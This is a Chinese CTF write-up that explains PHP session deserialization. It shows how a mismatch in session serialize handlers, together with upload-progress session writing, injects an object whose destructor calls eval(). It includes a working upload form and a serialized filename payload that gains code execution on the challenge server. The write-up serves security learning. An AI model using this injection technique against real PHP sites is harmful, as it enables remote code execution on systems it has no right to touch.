從session角度學習反序列化

原創作者:wywwzjj

從 session 角度學習反序列化

下面是題目給出的源碼 原題鏈接

<?php
	// A webshell is wait for you
	ini_set('session.serialize_handler', 'php');
	session_start();
	class OowoO {
		public $mdzz;
		function __construct() {
			$this->mdzz = 'phpinfo();';
		}
		
		function __destruct() {
			eval($this->mdzz);
		}
	}
	if(isset($_GET['phpinfo'])) {
		$m = new OowoO();
	}
	else {
		highlight_string(file_get_contents('index.php'));
	}
?>

前言

題目直接給出了 phpinfo 信息,作爲 CTF 的題來說,一定有其特別的意義。

另外,在實戰中也是重要的信息泄露,不熟悉的同學可參考 phpinfo 可以告訴我們什麼

遇到這種情況,可直接拿下來與默認的 phpinfo 進行文件對比,或許可以迅速找到突破口。

困境

看到 __construct()__destruct() 兩個魔術方法,極有可能是反序列化的題。其中,__destruct() 中有

eval($this->mdzz);

如果 $this->mdzz 可控的話,這就是一個明顯的 webshell 了,可惜 mdzz 在構造函數中就限死了,而且這裏並沒有變量覆蓋的漏洞,否則也可以打一波,陷入困境。

有這麼方便的 eval() 在這裏,能不能繞過構造函數,直接執行我們需要的命令呢?

此處必有蹊蹺。

ini_set('session.serialize_handler', 'php');

知識點

1.PHP Session 序列化及反序列化處理器設置使用不當帶來的安全隱患

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-L9HU0QH2-1585018491570)(https://i.loli.net/2019/03/21/5c92dcc97822b.png)]

phpinfo 中可以看到,PHP 反序列化時可以使用的幾種方法。

平時實驗過程中,也可以用這個語句進行方法指定。

session_start([
    'serialize_handler' => 'php_serialize'
])

在設置 session 和讀取 session 兩個階段中,若使用了不同的序列化方法,將產生任意對象注入,進而導致反序列化漏洞。

$_SESSION['test'] = '|O:8:"stdClass":0:{}';

存儲時使用 php_serialize --> 
a:1:{s:4:"test";s:20:"|O:8:"stdClass":0:{}";}

反序列化使用 php --> 
// var_dump($_SESSION);
array(1) {
	["a:1:{s:4:"test";s:20:""]=>
		object(stdClass)#1 (0) {
	}
}

PHP 獲取到 session 字符串後,就開始查找第一個 |(豎線),用豎線將字符串分割成“鍵名”和“鍵值”, 並對“鍵值”進行反序列化。但如果這次反序列化失敗,就放棄這次解析,再去找下一個豎線,執行同樣的操作,直到成功。

然而到這裏還是沒解決 mdzz 不可控的問題,接下來引入第二個知識點。

2.上傳進度支持(Upload progress in sessions)

正常用法參見 example #1,配合 Ajax 就能顯示上傳進度。

利用此法可達到對 session 寫入數據的效果,從而使得 $mdzz 可控,可參照 有趣的 php 反序列化總結

當一個上傳在處理中,同時 post 一個與 ini 設置的 session.upload_progress.name 同名變量時,php 檢測到這種 post 請求時就會在 $_SESSION 中添加一組數據,所以可通過 session.upload_progress 來設置 session

下面是部分參數說明

session.upload_progress.enabled[=1] : 是否啓用上傳進度報告(默認開啓)
session.upload_progress.cleanup[=1] : 是否在上傳完成後及時刪除進度數據(默認開啓, 推薦開啓).
session.upload_progress.prefix[=upload_progress_] : 進度數據將存儲在
_SESSION[session.upload_progress.prefix . _POST[session.upload_progress.name]]
session.upload_progress.name[=PHP_SESSION_UPLOAD_PROGRESS] :
如果 _POST[session.upload_progress.name]沒有被設置, 則不會報告進度.
session.upload_progress.freq[=1%] : 更新進度的頻率(已經處理的字節數), 也支持百分比表示’%’.
session.upload_progress.min_freq[=1.0] : 更新進度的時間間隔(秒級)

回到本題,查看 phpinfosession.upload_progress.enabled 打開,並且 session.upload_progress.cleanup關閉。

開幹

構造一個表單

<!DOCTYPE html>
<html>
<body>
	<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
	    <input type="file" name="file" />
	    <input type="submit" value="submit" />
	</form>
</body>
</html>

如果不指定,PHP 將默認使用 “php“ 作爲 session 序列化的方法,payload 及結果如下:

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-McPqmXdb-1585018491573)(https://i.loli.net/2019/03/21/5c92dc9fa0478.png)]

PS:不用糾結 Content-Type,這個對解題沒有影響,重點是加入\,防止 " 被轉義。

filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:19:\"print_r($_SESSION);\";}"

Array (
	[a:1:{s:24:"upload_progress_12312131";a:5:{s:10:"start_time";i:1551019950;s:14:"content_length";i:434;s:15:"bytes_processed";i:434;s:4:"done";b:1;s:5:"files";
	 a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:55:"] 
	=> OowoO Object	(
			[mdzz] => print_r($_SESSION);
	)
)

根據 php 手冊,存入 session 裏的形式是這樣的,由此看出 field_name 也可以,所以不一定要用 filename

$_SESSION["upload_progress_123"] = array(
	"start_time" => 1234567890,   // The request time
	"content_length" => 57343257, // POST content length
	"bytes_processed" => 453489,  // Amount of bytes received and processed
	"done" => false,              
    // true when the POST handler has finished, successfully or not
	"files" => array(
		0 => array(
			"field_name" => "file1",       // Name of the <input/> field
			// The following 3 elements equals those in $_FILES
			"name" => "foo.avi",
			"tmp_name" => "/tmp/phpxxxxxx",
			"error" => 0,
			"done" => true,
            // True when the POST handler has finished handling this file
			"start_time" => 1234567890, 
            // When this file has started to be processed
			"bytes_processed" => 57343250, 
            // Amount of bytes received and processed for this file
		)
	)
)

flag 的老套路就不多說了,把 mdzz 裏的值換成你需要執行的操作即可。

總結

知識面,決定看到的攻擊面有多廣。

知識鏈,決定發動的殺傷鏈有多深。

——豬豬俠

實驗室相關實驗
1、PHP反序列化漏洞實驗:http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001(瞭解什麼是反序列化漏洞,漏洞成因以及如何挖掘和防禦反序列化漏洞)
2、PHP序列化漏洞實踐:http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2017042716211200001(序列化是將變量轉換爲可保存或傳輸的字符串的過程)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章